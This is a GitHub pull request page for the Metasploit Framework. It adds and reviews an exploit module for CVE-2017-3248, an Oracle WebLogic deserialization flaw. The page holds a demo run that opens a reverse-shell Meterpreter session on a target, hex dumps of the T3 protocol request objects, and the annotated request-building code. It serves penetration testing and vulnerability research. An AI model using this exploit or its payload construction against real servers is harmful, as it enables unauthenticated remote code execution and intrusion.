Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Weblogic_serialization_unicastref CVE 2017-3248 #11136

Merged
merged 5 commits into from
Apr 1, 2019

Conversation

acamro
Copy link
Contributor

@acamro acamro commented Dec 16, 2018

Hi everyone,
Please, add this exploit module for CVE-2017-3248, Oracle Weblogic Deserialization Vulnerability in the core components due to unsafe deserialization of Java objects by the RMI registry and produce a JRMP connection from the target,
It was tested on Windows 7 x64 with Oracle Weblogic Server v10.3.6.0 and v12.1.3.0

TODO

Test on Linux
Test on Solaris
Improve the documentation

DEMO

 msf exploit(multi/misc/weblogic_deserialize_unicastref) > set srvhost 192.168.192.136
 srvhost => 192.168.192.136
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > set srvport 8888
 srvport => 8888
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > set rhost 192.168.192.6
 rhost => 192.168.192.6
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > set rport 7001
 rport => 7001
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > exploit
 [*] Exploit running as background job 17.

 [*] Started reverse TCP handler on 192.168.192.136:4444 
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > [*] 192.168.192.6:7001 - Sending handshake...
 [*] 192.168.192.6:7001 - Sending T3 request object...
 [*] 192.168.192.6:7001 - Sending client object payload...
 [*] 192.168.192.6:7001 - Sending payload to client: 192.168.192.6
 [*] Sending stage (179779 bytes) to 192.168.192.6
 [*] Meterpreter session 9 opened (192.168.192.136:4444 -> 192.168.192.6:49283) at 2018-12-14 11:45:44 -0800
 [*] 192.168.192.6:7001 - Server stopped.
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > sessions -i 9
 [*] Starting interaction with 9...

 meterpreter > sysinfo
 Computer        : GIOTTO-HS-W7
 OS              : Windows 7 (Build 7600).
 Architecture    : x64
 System Language : en_US
 Domain          : WORKGROUP
 Logged On Users : 2
 Meterpreter     : x86/windows

Verification

  • Start msfconsole
  • use exploit/multi/misc/weblogic_deserialize_unicastref
  • set srvhost
  • set srvport
  • set rhost
  • set rport
  • exploit
  • sessions -i 1
  • Enjoy!!!

@asoto-r7
Copy link
Contributor

asoto-r7 commented Dec 27, 2018

@acamro: Thanks for the contribution! I've been testing your module with a lot of success, but I had a few quick questions.

  1. Could you clarify the build_t3_request_object method? It turns out that reversing the Java serialized object is non-trivial, partially because even after trimming the first 222 bytes that don't appear to be a serialized object, tools like SerializationDumper is encountering errors later on. What network traffic were you watching, and how could I recreate that traffic? Do you still have the PCAP that you could send me?

  2. The latest commit would usually be a step in the right direction, but there's a conflict between TCP and HttpClient, so the check and exploit methods cannot coexist. This isn't your fault; it's ours. Could you undo the latest commit to remove the use of Msf::Exploit::Remote::HttpClient?

msf5 exploit(multi/misc/weblogic_deserialize_marshalledobject) > set TARGET Windows
TARGET => Windows
msf5 exploit(multi/misc/weblogic_deserialize_marshalledobject) > check
[*] 192.168.199.152:7001 - The target appears to be vulnerable.
msf5 exploit(multi/misc/weblogic_deserialize_marshalledobject) > run

[*] Started reverse TCP handler on 192.168.199.137:4444 
[*] 192.168.199.152:7001 - Sending handshake...
[-] 192.168.199.152:7001 - Exploit failed: NoMethodError undefined method `put' for nil:NilClass
[*] Exploit completed, but no session was created.
  1. Sparadically, about 1 in 10 times, the server doesn't respond with a body (only the headers) and so the check method fails because the version numbers are not shown. In 2 of your 3 PRs, the check method returns CheckCode::Unknown if the banner can't be found. Could you update weblogic_deserialize_unicastref so that it's check method also returns Unknown if the banner is not found?

Thanks again for your contribution!

@acamro
Copy link
Contributor Author

acamro commented Jan 17, 2019

Hi again,
Sorry for the delay @asoto-r7, first of all this is TL;DR (sorry again).

  1. Unfortunately Weblogic uses a propietary protocol called T3, for this protocol first there is a handshake, then we have to send a request, this request is made up of a list of objects, more exactly of type weblogic.rjvm.ClassTableEntry, in the request, I don't know about the first 107 bytes, they don't seem like a serialized java object (no time for reversing), however, we can dissect the data frame as follows:
  • Each object is separated by 4 bytes: 0xfe010000
  • Remove the first 107 bytes, then followed by the separator
  • Each payload object in the list is encapsulated by an weblogic.rjvm.ClassTableEntry object.
  • There are 5 objects in the request, the first is (followed by the separator of course):
aced00057372001d7765626c6f6769632e
726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078
707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e506163
6b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d69
6e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b
5a000e74656d706f7261727950617463684c0009696d706c5469746c65740012
4c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271
007e00034c000b696d706c56657273696f6e71007e000378707702000078

This object contains another object of type weblogic.common.internal.PackageInfo, as you can check in the SerializationDumper.

The second object is the following:

aced00057372001d7765626c6f6769632e726a766d2e436c617373546162
6c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e
636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f9722455164
52463e0200035b00087061636b616765737400275b4c7765626c6f6769632f63
6f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e7265
6c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e67
3b5b001276657273696f6e496e666f417342797465737400025b427872002477
65626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b61676549
6e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f724900
0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465
6d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a
696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e
000478707702000078

This object contains another object of type weblogic.common.internal.VersionInfo (inherits from PackageInfo), as you can check in the SerializationDumper.

The third object is the following:

aced00057372001d7765626c6f6769632e726a
766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c0000787072
00217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5065657249
6e666f585474f39bc908f10200064900056d616a6f724900056d696e6f724900
0c726f6c6c696e67506174636849000b736572766963655061636b5a000e7465
6d706f7261727950617463685b00087061636b616765737400275b4c7765626c
6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f
3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5665
7273696f6e496e666f972245516452463e0200035b00087061636b6167657371
007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c61
6e672f537472696e673b5b001276657273696f6e496e666f4173427974657374
00025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c
2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f7249
00056d696e6f7249000c726f6c6c696e67506174636849000b73657276696365
5061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c
6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56
657273696f6e71007e000578707702000078fe00ff

This object contains another object of type weblogic.common.internal.PeerInfo (inherits from VersionInfo which in turns inherits from PackageInfo), as you can check in the SerializationDumper.

The fourth object is the following:

aced0005737200
137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078
707750210000000000000000000d3139322e3136382e312e323237001257494e
2d4147444d565155423154362e656883348cd60000000700000123ffffffffff
ffffffffffffffffffffffffffffffffffffff78

This object contains another object of type weblogic.rjvm.JVMID, as you can check in the SerializationDumper.
In addition, this object has an internal structure with the client IP address, hostname and port.

The fifth object is the following:

aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede
121e2a0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32
353461863d1d0000000078

This object contains another object of type weblogic.rjvm.JVMID, as you can check in the SerializationDumper.
In addition, this object has an internal structure with the server IP address.

All the above is merely informative, because I suppose that it has nothing to do with the inclusion of yoserializer in the API.

  1. Ok, Could you tell me what is the right way to do it?, in the latest commit I got a problem, that code didn't read the HTTP response completely in all cases.

  2. All three methods in the PRs have the same code:

    unless resp.body.include?('Oracle WebLogic Server Administration Console')
      vprint_warning("Oracle WebLogic Server banner cannot be found")
      return CheckCode::Unknown
    end

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
    unless version
      vprint_warning("Oracle WebLogic Server version cannot be found")
      return CheckCode::Unknown
    end

Could you tell me where I need to change??.

Thank you in advance, I will be aware.

@asoto-r7
Copy link
Contributor

@acamro: Thanks for the detailed comment. I know that took some time, and has been very helpful.

The latest commit covers this third PR, as I've tried to reverse engineer and document the JSOs in use.

To get this landed, it's definitely not necessary for the new JavaDeserialization library to support JRMPClient and JRMPListener, so let's randomize the remaining strings, all marked with #TODO.
Again, if you get a chance to tackle that, it'd be fantastic! If not, I'll take a swing at it tomorrow.

Thank again for the awesome contributions!

sleep(1)
sock.get_once
end

def build_t3_request_object
# T3 request serialized data
# retrieved by watching network traffic
data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
# This is a proprietary, undocumented protocol
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A serialized Java object:

2.3.0 :047 > [data].pack('H*')
 => "\x00\x00\x05\xC3\x01e\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00j\x00\x00\xEA`\x00\x00\x00\x19\x00\x93{HJV\xFAJwvf\xF5\x81\xDA\xA4\xF5\xB9\x0E*\xEB\xFC`t\x99\xB4\x02ysr\x00xr\x01xr\x02xp\x00\x00\x00\n\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x06\x00pppppp\x00\x00\x00\n\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x06\x00p\x06\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x1Dweblogic.rjvm.ClassTableEntry/Re\x81W\xF4\xF9\xED\f\x00\x00xpr\x00$weblogic.common.internal.PackageInfo\xE6\xF7#\xE7\xB8\xAE\x1E\xC9\x02\x00\bI\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatchL\x00\timplTitlet\x00\x12Ljava/lang/String;L\x00\nimplVendorq\x00~\x00\x03L\x00\vimplVersionq\x00~\x00\x03xpw\x02\x00\x00x\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x1Dweblogic.rjvm.ClassTableEntry/Re\x81W\xF4\xF9\xED\f\x00\x00xpr\x00$weblogic.common.internal.VersionInfo\x97\"EQdRF>\x02\x00\x03[\x00\bpackagest\x00'[Lweblogic/common/internal/PackageInfo;L\x00\x0EreleaseVersiont\x00\x12Ljava/lang/String;[\x00\x12versionInfoAsBytest\x00\x02[Bxr\x00$weblogic.common.internal.PackageInfo\xE6\xF7#\xE7\xB8\xAE\x1E\xC9\x02\x00\bI\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatchL\x00\timplTitleq\x00~\x00\x04L\x00\nimplVendorq\x00~\x00\x04L\x00\vimplVersionq\x00~\x00\x04xpw\x02\x00\x00x\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x1Dweblogic.rjvm.ClassTableEntry/Re\x81W\xF4\xF9\xED\f\x00\x00xpr\x00!weblogic.common.internal.PeerInfoXTt\xF3\x9B\xC9\b\xF1\x02\x00\x06I\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatch[\x00\bpackagest\x00'[Lweblogic/common/internal/PackageInfo;xr\x00$weblogic.common.internal.VersionInfo\x97\"EQdRF>\x02\x00\x03[\x00\bpackagesq\x00~\x00\x03L\x00\x0EreleaseVersiont\x00\x12Ljava/lang/String;[\x00\x12versionInfoAsBytest\x00\x02[Bxr\x00$weblogic.common.internal.PackageInfo\xE6\xF7#\xE7\xB8\xAE\x1E\xC9\x02\x00\bI\x00\x05majorI\x00\x05minorI\x00\frollingPatchI\x00\vservicePackZ\x00\x0EtemporaryPatchL\x00\timplTitleq\x00~\x00\x05L\x00\nimplVendorq\x00~\x00\x05L\x00\vimplVersionq\x00~\x00\x05xpw\x02\x00\x00x\xFE\x00\xFF\xFE\x01\x00\x00\xAC\xED\x00\x05sr\x00\x13weblogic.rjvm.JVMID\xDCI\xC2>\xDE\x12\x1E*\f\x00\x00xpwP!\x00\x00\x00\x00\x00\x00\x00\x00\x00\r192.168.1.227\x00\x12WIN-AGDMVQUB1T6.eh\x834\x8C\xD6\x00\x00\x00\a\x00\x00" 
2.3.0 :048 > 

It could be formatted more nicely for readability. Ie, separated by \x00 and length calculated.

From a quick read over it, most of it looks important, but these stand out:

  • 192.168.1.227
  • WIN-AGDMVQUB1T6.eh

For your reading pleasure:

2.3.0 :050 > puts [data].pack('H*').split("\x00").join ("\n")


��e���������


j

�`


�
�{HJV�Jwvf��ڤ*��`t���ysr
xr�xr�xp






�






�
pppppp






�






�
p���

�
sr
�weblogic.rjvm.ClassTableEntry/Re�W���


xpr
$weblogic.common.internal.PackageInfo��#縮���
I
majorI
minorI

rollingPatchI

servicePackZ
temporaryPatchL
	implTitlet
�Ljava/lang/String;L

implVendorq
~
�L

implVersionq
~
�xpw�

x��

�
sr
�weblogic.rjvm.ClassTableEntry/Re�W���


xpr
$weblogic.common.internal.VersionInfo�"EQdRF>�
�[
packagest
'[Lweblogic/common/internal/PackageInfo;L
releaseVersiont
�Ljava/lang/String;[
�versionInfoAsBytest
�[Bxr
$weblogic.common.internal.PackageInfo��#縮���
I
majorI
minorI

rollingPatchI

servicePackZ
temporaryPatchL
	implTitleq
~
�L

implVendorq
~
�L

implVersionq
~
�xpw�

x��

�
sr
�weblogic.rjvm.ClassTableEntry/Re�W���


xpr
!weblogic.common.internal.PeerInfoXTt����
�I
majorI
minorI

rollingPatchI

servicePackZ
temporaryPatch[
packagest
'[Lweblogic/common/internal/PackageInfo;xr
$weblogic.common.internal.VersionInfo�"EQdRF>�
�[
packagesq
~
�L
releaseVersiont
�Ljava/lang/String;[
�versionInfoAsBytest
�[Bxr
$weblogic.common.internal.PackageInfo��#縮���
I
majorI
minorI

rollingPatchI

servicePackZ
temporaryPatchL
	implTitleq
~
L

implVendorq
~
L

implVersionq
~
xpw�

x�
���

�
sr
�weblogic.rjvm.JVMID�I�>���*


xpwP!








192.168.1.227
�WIN-AGDMVQUB1T6.eh�4�



 => nil 

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Right -- I've been using SerializationDumper to inspect these JSOs, but it's not clear to me what this does yet. I've got some learning to do about JRMP and the ysoserial implementation of JRMPClient and JRMPListener in order to better understand the way they're using exceptions to trigger the target to callback and retrieve additional JSOs, bypassing blacklists.

@asoto-r7
Copy link
Contributor

Note that a successful exploit leaves this output on the Admin Server console:

<Feb 26, 2019 1:31:32 PM CST> <Warning> <RMI> <BEA-080003> <RuntimeException thrown by rmi server: weblogic.common.internal.RMIBootServiceImpl.authenticate(Lweblogic.security.acl.UserInfo;)
 java.lang.ClassCastException: $Proxy58 cannot be cast to weblogic.rjvm.ClassTableEntry.
java.lang.ClassCastException: $Proxy58 cannot be cast to weblogic.rjvm.ClassTableEntry
        at weblogic.rjvm.MsgAbbrevInputStream.readClassDescriptor(MsgAbbrevInputStream.java:405)
        at weblogic.utils.io.ChunkedObjectInputStream$NestedObjectInputStream.readClassDescriptor(ChunkedObjectInputStream.java:278)
        at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1564)
        at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1495)
        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1731)
        Truncated. see log file for complete stacktrace

@acamro
Copy link
Contributor Author

acamro commented Mar 2, 2019

@asoto-r7 ,

I've been doing some reversing over the protocol, however, and even though I did a git pull, I have not managed to operate your metasploit/ysoserializer module.

this is the error output (running the exploit command):

[-] 192.168.192.132:7001 - Exploit failed: NameError uninitialized constant Msf::Util::JavaDeserialization

Could you explain me a little about how to use it?

This is a breakthrough:

  def build_t3_request_object
    # T3 request serialized data
    # retrieved by watching network traffic
    # This is a proprietary, undocumented protocol
    data =  '000005c3'                                     # lenght of the packet
    data << '01'                                           # CMD_IDENTIFY_REQUEST
    data << '65'                                           # QOS
    data << '01'                                           # Flags: 
                                                           #   CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
                                                           #   CONTEXT_TX_FLAG = 2
                                                           #   CONTEXT_TRACE_FLAG = 4
                                                           #   CONTEXT_EXTENDED_FLAG = 8
                                                           #   CONTEXT_EXTENDED_USER_FLAG = 16
    data << 'ffffffff'                                     # response id
    data << 'ffffffff'                                     # invocable id
    data << '0000006a'                                     # abbrev offset
    data << '0000ea60'                                     # reconnect timeout ??

@bcoles
Copy link
Contributor

bcoles commented Mar 2, 2019

I've been doing some reversing over the protocol, however, and even though I did a git pull, I have not managed to operate your metasploit/ysoserializer module.

When you git pull, are you still in this branch?

You'll need to pull in the JavaDeserialization library, which is defined here:

https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/java_deserialization.rb

@acamro
Copy link
Contributor Author

acamro commented Mar 2, 2019

@bcoles,

Sorry, my branch was outdated from master, I just did a git pull upstream master (merge), that's the right way to do it?.

@bcoles
Copy link
Contributor

bcoles commented Mar 2, 2019

@bcoles,

Sorry, my branch was outdated from master, I just did a git pull upstream master (merge), that's the right way to do it?.

That's one way to do it, but you run the risk of messing up the branch if you mess up.

As you're only testing one module, it's trivial to copy/paste it into the master branch on your dev box. No need to update this branch.

@ccondon-r7
Copy link
Contributor

Hey @acamro, Metasploit published research today on practical JSO exploitation. This PR is mentioned, and you're acknowledged in the paper. You can read it here: https://www.rapid7.com/research/report/exploiting-jsos/. Thanks for your work on this!

@asoto-r7
Copy link
Contributor

This is a breakthrough:

  def build_t3_request_object
    # T3 request serialized data
    # retrieved by watching network traffic
    # This is a proprietary, undocumented protocol
    data =  '000005c3'                                     # lenght of the packet
    data << '01'                                           # CMD_IDENTIFY_REQUEST
    data << '65'                                           # QOS
    data << '01'                                           # Flags: 
                                                           #   CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
                                                           #   CONTEXT_TX_FLAG = 2
                                                           #   CONTEXT_TRACE_FLAG = 4
                                                           #   CONTEXT_EXTENDED_FLAG = 8
                                                           #   CONTEXT_EXTENDED_USER_FLAG = 16
    data << 'ffffffff'                                     # response id
    data << 'ffffffff'                                     # invocable id
    data << '0000006a'                                     # abbrev offset
    data << '0000ea60'                                     # reconnect timeout ??

Woah, that's awesome! Where'd you find the protocol and constants described? Could we add that source to the references section?

@asoto-r7 asoto-r7 merged commit ea45468 into rapid7:master Apr 1, 2019
@asoto-r7
Copy link
Contributor

asoto-r7 commented Apr 1, 2019

Release Notes

The Oracle Weblogic Server Deserialization RCE module exploits a vulnerability in Oracle Weblogic Server v10.3.6.0 and v12.1.3.0. It provides an attacker with highly-reliable, unauthenticated remote code execution via a java deserialization vulnerability. For the attack to succeed, the target must be able to reach the attacker via JRMP on an arbitary, attacker-chosen TCP port.

@tdoan-r7 tdoan-r7 added rn-exploit rn-modules release notes for new or majorly enhanced modules and removed rn-exploit labels Apr 15, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants